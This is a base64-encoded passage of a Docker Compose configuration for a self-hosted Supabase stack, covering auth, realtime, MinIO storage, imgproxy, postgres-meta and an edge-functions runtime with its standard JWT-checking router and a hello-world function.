6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ0dPVFJVRV9VUklfQUxMT1dfTElTVD0ke0FERElUSU9OQUxfUkVESVJFQ1RfVVJMU30nCiAgICAgIC0gJ0dPVFJVRV9ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gR09UUlVFX0pXVF9BRE1JTl9ST0xFUz1zZXJ2aWNlX3JvbGUKICAgICAgLSBHT1RSVUVfSldUX0FVRD1hdXRoZW50aWNhdGVkCiAgICAgIC0gR09UUlVFX0pXVF9ERUZBVUxUX0dST1VQX05BTUU9YXV0aGVudGljYXRlZAogICAgICAtICdHT1RSVUVfSldUX0VYUD0ke0pXVF9FWFBJUlk6LTM2MDB9JwogICAgICAtICdHT1RSVUVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0VNQUlMX0VOQUJMRUQ9JHtFTkFCTEVfRU1BSUxfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0FOT05ZTU9VU19VU0VSU19FTkFCTEVEPSR7RU5BQkxFX0FOT05ZTU9VU19VU0VSUzotZmFsc2V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX0FVVE9DT05GSVJNPSR7RU5BQkxFX0VNQUlMX0FVVE9DT05GSVJNOi1mYWxzZX0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0FETUlOX0VNQUlMPSR7U01UUF9BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdHT1RSVUVfU01UUF9QT1JUPSR7U01UUF9QT1JUOi01ODd9JwogICAgICAtICdHT1RSVUVfU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnR09UUlVFX1NNVFBfUEFTUz0ke1NNVFBfUEFTU30nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1NFTkRFUl9OQU1FPSR7U01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfSU5WSVRFPSR7TUFJTEVSX1VSTFBBVEhTX0lOVklURTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19DT05GSVJNQVRJT049JHtNQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZPSR7TUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0lOVklURT0ke01BSUxFUl9URU1QTEFURVNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1RFTVBMQVRFU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19SRUNPVkVSWT0ke01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUll9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LPSR7TUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFPSR7TUFJTEVSX1RFTVBMQVRFU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZPSR7TUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LPSR7TUFJTEVSX1NVQkpFQ1RTX01BR0lDX0xJTkt9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0lOVklURT0ke01BSUxFUl9TVUJKRUNUU19JTlZJVEV9JwogICAgICAtICdHT1RSVUVfRVhURVJOQUxfUEhPTkVfRU5BQkxFRD0ke0VOQUJMRV9QSE9ORV9TSUdOVVA6LXRydWV9JwogICAgICAtICdHT1RSVUVfU01TX0FVVE9DT05GSVJNPSR7RU5BQkxFX1BIT05FX0FVVE9DT05GSVJNOi10cnVlfScKICByZWFsdGltZS1kZXY6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3JlYWx0aW1lOnYyLjM0LjQ3JwogICAgY29udGFpbmVyX25hbWU6IHJlYWx0aW1lLWRldi5zdXBhYmFzZS1yZWFsdGltZQogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zU2ZMJwogICAgICAgIC0gJy0taGVhZCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJy1IJwogICAgICAgIC0gJ0F1dGhvcml6YXRpb246IEJlYXJlciAke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo0MDAwL2FwaS90ZW5hbnRzL3JlYWx0aW1lLWRldi9oZWFsdGgnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1JUPTQwMDAKICAgICAgLSAnREJfSE9TVD0ke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn0nCiAgICAgIC0gJ0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSBEQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RCX05BTUU9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdEQl9BRlRFUl9DT05ORUNUX1FVRVJZPVNFVCBzZWFyY2hfcGF0aCBUTyBfcmVhbHRpbWUnCiAgICAgIC0gREJfRU5DX0tFWT1zdXBhYmFzZXJlYWx0aW1lCiAgICAgIC0gJ0FQSV9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEZMWV9BTExPQ19JRD1mbHkxMjMKICAgICAgLSBGTFlfQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VDUkVUX1BBU1NXT1JEX1JFQUxUSU1FfScKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgICAgLSBFTkFCTEVfVEFJTFNDQUxFPWZhbHNlCiAgICAgIC0gIkROU19OT0RFUz0nJyIKICAgICAgLSBSTElNSVRfTk9GSUxFPTEwMDAwCiAgICAgIC0gQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSBTRUVEX1NFTEZfSE9TVD10cnVlCiAgICAgIC0gTE9HX0xFVkVMPWVycm9yCiAgICAgIC0gUlVOX0pBTklUT1I9dHJ1ZQogICAgICAtIEpBTklUT1JfSU5URVJWQUw9NjAwMDAKICAgIGNvbW1hbmQ6ICJzaCAtYyBcIi9hcHAvYmluL21pZ3JhdGUgJiYgL2FwcC9iaW4vcmVhbHRpbWUgZXZhbCAnUmVhbHRpbWUuUmVsZWFzZS5zZWVkcyhSZWFsdGltZS5SZXBvKScgJiYgL2FwcC9iaW4vc2VydmVyXCJcbiIKICBzdXBhYmFzZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiIC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL3N0b3JhZ2U6L2RhdGEnCiAgbWluaW8tY3JlYXRlYnVja2V0OgogICAgaW1hZ2U6IG1pbmlvL21jCiAgICByZXN0YXJ0OiAnbm8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtbWluaW86CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuL3Vzci9iaW4vbWMgYWxpYXMgc2V0IHN1cGFiYXNlLW1pbmlvIGh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwICR7TUlOSU9fUk9PVF9VU0VSfSAke01JTklPX1JPT1RfUEFTU1dPUkR9O1xuL3Vzci9iaW4vbWMgbWIgLS1pZ25vcmUtZXhpc3Rpbmcgc3VwYWJhc2UtbWluaW8vc3R1YjtcbmV4aXQgMFxuIgogIHN1cGFiYXNlLXN0b3JhZ2U6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N0b3JhZ2UtYXBpOnYxLjE0LjYnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1yZXN0OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICAgIGltZ3Byb3h5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo1MDAwL3N0YXR1cycKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZFUl9QT1JUPTUwMDAKICAgICAgLSBTRVJWRVJfUkVHSU9OPWxvY2FsCiAgICAgIC0gTVVMVElfVEVOQU5UPWZhbHNlCiAgICAgIC0gJ0FVVEhfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vc3VwYWJhc2Vfc3RvcmFnZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBEQl9JTlNUQUxMX1JPTEVTPWZhbHNlCiAgICAgIC0gU1RPUkFHRV9CQUNLRU5EPXMzCiAgICAgIC0gU1RPUkFHRV9TM19CVUNLRVQ9c3R1YgogICAgICAtICdTVE9SQUdFX1MzX0VORFBPSU5UPWh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwJwogICAgICAtIFNUT1JBR0VfUzNfRk9SQ0VfUEFUSF9TVFlMRT10cnVlCiAgICAgIC0gU1RPUkFHRV9TM19SRUdJT049dXMtZWFzdC0xCiAgICAgIC0gJ0FXU19BQ0NFU1NfS0VZX0lEPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVD01MjQyODgwMDAKICAgICAgLSBVUExPQURfRklMRV9TSVpFX0xJTUlUX1NUQU5EQVJEPTUyNDI4ODAwMAogICAgICAtIFVQTE9BRF9TSUdORURfVVJMX0VYUElSQVRJT05fVElNRT0xMjAKICAgICAgLSBUVVNfVVJMX1BBVEg9dXBsb2FkL3Jlc3VtYWJsZQogICAgICAtIFRVU19NQVhfU0laRT0zNjAwMDAwCiAgICAgIC0gRU5BQkxFX0lNQUdFX1RSQU5TRk9STUFUSU9OPXRydWUKICAgICAgLSAnSU1HUFJPWFlfVVJMPWh0dHA6Ly9pbWdwcm94eTo4MDgwJwogICAgICAtIElNR1BST1hZX1JFUVVFU1RfVElNRU9VVD0xNQogICAgICAtIERBVEFCQVNFX1NFQVJDSF9QQVRIPXN0b3JhZ2UKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gUkVRVUVTVF9BTExPV19YX0ZPUldBUkRFRF9QQVRIPXRydWUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgaW1ncHJveHk6CiAgICBpbWFnZTogJ2RhcnRoc2ltL2ltZ3Byb3h5OnYzLjguMCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBpbWdwcm94eQogICAgICAgIC0gaGVhbHRoCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBJTUdQUk9YWV9MT0NBTF9GSUxFU1lTVEVNX1JPT1Q9LwogICAgICAtIElNR1BST1hZX1VTRV9FVEFHPXRydWUKICAgICAgLSAnSU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OPSR7SU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgc3VwYWJhc2UtbWV0YToKICAgIGltYWdlOiAnc3VwYWJhc2UvcG9zdGdyZXMtbWV0YTp2MC44OS4zJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQR19NRVRBX1BPUlQ9ODA4MAogICAgICAtICdQR19NRVRBX0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQR19NRVRBX0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdfTUVUQV9EQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBQR19NRVRBX0RCX1VTRVI9c3VwYWJhc2VfYWRtaW4KICAgICAgLSAnUEdfTUVUQV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogIHN1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9lZGdlLXJ1bnRpbWU6djEuNjcuNCcKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdFZGdlIEZ1bmN0aW9ucyBpcyBoZWFsdGh5JwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9ST0xFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX0RCX1VSTD1wb3N0Z3Jlc3FsOi8vcG9zdGdyZXM6JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1ZFUklGWV9KV1Q9JHtGVU5DVElPTlNfVkVSSUZZX0pXVDotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL2Z1bmN0aW9uczovaG9tZS9kZW5vL2Z1bmN0aW9ucycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIHRhcmdldDogL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICJpbXBvcnQgeyBzZXJ2ZSB9IGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3N0ZEAwLjEzMS4wL2h0dHAvc2VydmVyLnRzJ1xuaW1wb3J0ICogYXMgam9zZSBmcm9tICdodHRwczovL2Rlbm8ubGFuZC94L2pvc2VAdjQuMTQuNC9pbmRleC50cydcblxuY29uc29sZS5sb2coJ21haW4gZnVuY3Rpb24gc3RhcnRlZCcpXG5cbmNvbnN0IEpXVF9TRUNSRVQgPSBEZW5vLmVudi5nZXQoJ0pXVF9TRUNSRVQnKVxuY29uc3QgVkVSSUZZX0pXVCA9IERlbm8uZW52LmdldCgnVkVSSUZZX0pXVCcpID09PSAndHJ1ZSdcblxuZnVuY3Rpb24gZ2V0QXV0aFRva2VuKHJlcTogUmVxdWVzdCkge1xuICBjb25zdCBhdXRoSGVhZGVyID0gcmVxLmhlYWRlcnMuZ2V0KCdhdXRob3JpemF0aW9uJylcbiAgaWYgKCFhdXRoSGVhZGVyKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGF1dGhvcml6YXRpb24gaGVhZGVyJylcbiAgfVxuICBjb25zdCBbYmVhcmVyLCB0b2tlbl0gPSBhdXRoSGVhZGVyLnNwbGl0KCcgJylcbiAgaWYgKGJlYXJlciAhPT0gJ0JlYXJlcicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoYEF1dGggaGVhZGVyIGlzIG5vdCAnQmVhcmVyIHt0b2tlbn0nYClcbiAgfVxuICByZXR1cm4gdG9rZW5cbn1cblxuYXN5bmMgZnVuY3Rpb24gdmVyaWZ5SldUKGp3dDogc3RyaW5nKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIGNvbnN0IGVuY29kZXIgPSBuZXcgVGV4dEVuY29kZXIoKVxuICBjb25zdCBzZWNyZXRLZXkgPSBlbmNvZGVyLmVuY29kZShKV1RfU0VDUkVUKVxuICB0cnkge1xuICAgIGF3YWl0IGpvc2Uuand0VmVyaWZ5KGp3dCwgc2VjcmV0S2V5KVxuICB9IGNhdGNoIChlcnIpIHtcbiAgICBjb25zb2xlLmVycm9yKGVycilcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuICByZXR1cm4gdHJ1ZVxufVxuXG5zZXJ2ZShhc3luYyAocmVxOiBSZXF1ZXN0KSA9PiB7XG4gIGlmIChyZXEubWV0aG9kICE9PSAnT1BUSU9OUycgJiYgVkVSSUZZX0pXVCkge1xuICAgIHRyeSB7XG4gICAgICBjb25zdCB0b2tlbiA9IGdldEF1dGhUb2tlbihyZXEpXG4gICAgICBjb25zdCBpc1ZhbGlkSldUID0gYXdhaXQgdmVyaWZ5SldUKHRva2VuKVxuXG4gICAgICBpZiAoIWlzVmFsaWRKV1QpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogJ0ludmFsaWQgSldUJyB9KSwge1xuICAgICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LFxuICAgICAgICB9KVxuICAgICAgfVxuICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IoZSlcbiAgICAgIHJldHVybiBuZXcgUmVzcG9uc2UoSlNPTi5zdHJpbmdpZnkoeyBtc2c6IGUudG9TdHJpbmcoKSB9KSwge1xuICAgICAgICBzdGF0dXM6IDQwMSxcbiAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIGNvbnN0IHVybCA9IG5ldyBVUkwocmVxLnVybClcbiAgY29uc3QgeyBwYXRobmFtZSB9ID0gdXJsXG4gIGNvbnN0IHBhdGhfcGFydHMgPSBwYXRobmFtZS5zcGxpdCgnLycpXG4gIGNvbnN0IHNlcnZpY2VfbmFtZSA9IHBhdGhfcGFydHNbMV1cblxuICBpZiAoIXNlcnZpY2VfbmFtZSB8fCBzZXJ2aWNlX25hbWUgPT09ICcnKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogJ21pc3NpbmcgZnVuY3Rpb24gbmFtZSBpbiByZXF1ZXN0JyB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNDAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxuXG4gIGNvbnN0IHNlcnZpY2VQYXRoID0gYC9ob21lL2Rlbm8vZnVuY3Rpb25zLyR7c2VydmljZV9uYW1lfWBcbiAgY29uc29sZS5lcnJvcihgc2VydmluZyB0aGUgcmVxdWVzdCB3aXRoICR7c2VydmljZVBhdGh9YClcblxuICBjb25zdCBtZW1vcnlMaW1pdE1iID0gMTUwXG4gIGNvbnN0IHdvcmtlclRpbWVvdXRNcyA9IDEgKiA2MCAqIDEwMDBcbiAgY29uc3Qgbm9Nb2R1bGVDYWNoZSA9IGZhbHNlXG4gIGNvbnN0IGltcG9ydE1hcFBhdGggPSBudWxsXG4gIGNvbnN0IGVudlZhcnNPYmogPSBEZW5vLmVudi50b09iamVjdCgpXG4gIGNvbnN0IGVudlZhcnMgPSBPYmplY3Qua2V5cyhlbnZWYXJzT2JqKS5tYXAoKGspID0+IFtrLCBlbnZWYXJzT2JqW2tdXSlcblxuICB0cnkge1xuICAgIGNvbnN0IHdvcmtlciA9IGF3YWl0IEVkZ2VSdW50aW1lLnVzZXJXb3JrZXJzLmNyZWF0ZSh7XG4gICAgICBzZXJ2aWNlUGF0aCxcbiAgICAgIG1lbW9yeUxpbWl0TWIsXG4gICAgICB3b3JrZXJUaW1lb3V0TXMsXG4gICAgICBub01vZHVsZUNhY2hlLFxuICAgICAgaW1wb3J0TWFwUGF0aCxcbiAgICAgIGVudlZhcnMsXG4gICAgfSlcbiAgICByZXR1cm4gYXdhaXQgd29ya2VyLmZldGNoKHJlcSlcbiAgfSBjYXRjaCAoZSkge1xuICAgIGNvbnN0IGVycm9yID0geyBtc2c6IGUudG9TdHJpbmcoKSB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNTAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxufSkiCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9oZWxsby9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICIvLyBGb2xsb3cgdGhpcyBzZXR1cCBndWlkZSB0byBpbnRlZ3JhdGUgdGhlIERlbm8gbGFuZ3VhZ2Ugc2VydmVyIHdpdGggeW91ciBlZGl0b3I6XG4vLyBodHRwczovL2Rlbm8ubGFuZC9tYW51YWwvZ2V0dGluZ19zdGFydGVkL3NldHVwX3lvdXJfZW52aXJvbm1lbnRcbi8vIFRoaXMgZW5hYmxlcyBhdXRvY29tcGxldGUsIGdvIHRvIGRlZmluaXRpb24sIGV0Yy5cblxuaW1wb3J0IHsgc2VydmUgfSBmcm9tIFwiaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTc3LjEvaHR0cC9zZXJ2ZXIudHNcIlxuXG5zZXJ2ZShhc3luYyAoKSA9PiB7XG4gIHJldHVybiBuZXcgUmVzcG9uc2UoXG4gICAgYFwiSGVsbG8gZnJvbSBFZGdlIEZ1bmN0aW9ucyFcImAsXG4gICAgeyBoZWFkZXJzOiB7IFwiQ29udGVudC1UeXBlXCI6IFwiYXBwbGljYXRpb24vanNvblwiIH0gfSxcbiAgKVxufSlcblxuLy8gVG8gaW52b2tlOlxuLy8gY3VybCAnaHR0cDovL2xvY2FsaG9zdDo8S09OR19IVFRQX1BPUlQ+L2Z1bmN0aW9ucy92MS9oZWxsbycgXFxcbi8vICAgLS1oZWFkZXIgJ0F1dGhvcml6YXRpb246IEJlYXJlciA8YW5vbi9zZXJ2aWNlX3JvbGUgQVBJIGtleT4nXG4iCiAgICBjb21tYW5kOgogICAgICAtIHN0YXJ0CiAgICAgIC0gJy0tbWFpbi1zZXJ2aWNlJwogICAgICAtIC9ob21lL2Rlbm8vZnVuY3Rpb25zL21haW4KICBzdXBhYmFzZS1zdXBhdmlzb3I6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N1cGF2aXNvcjoyLjUuMScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLXNTZkwnCiAgICAgICAgLSAn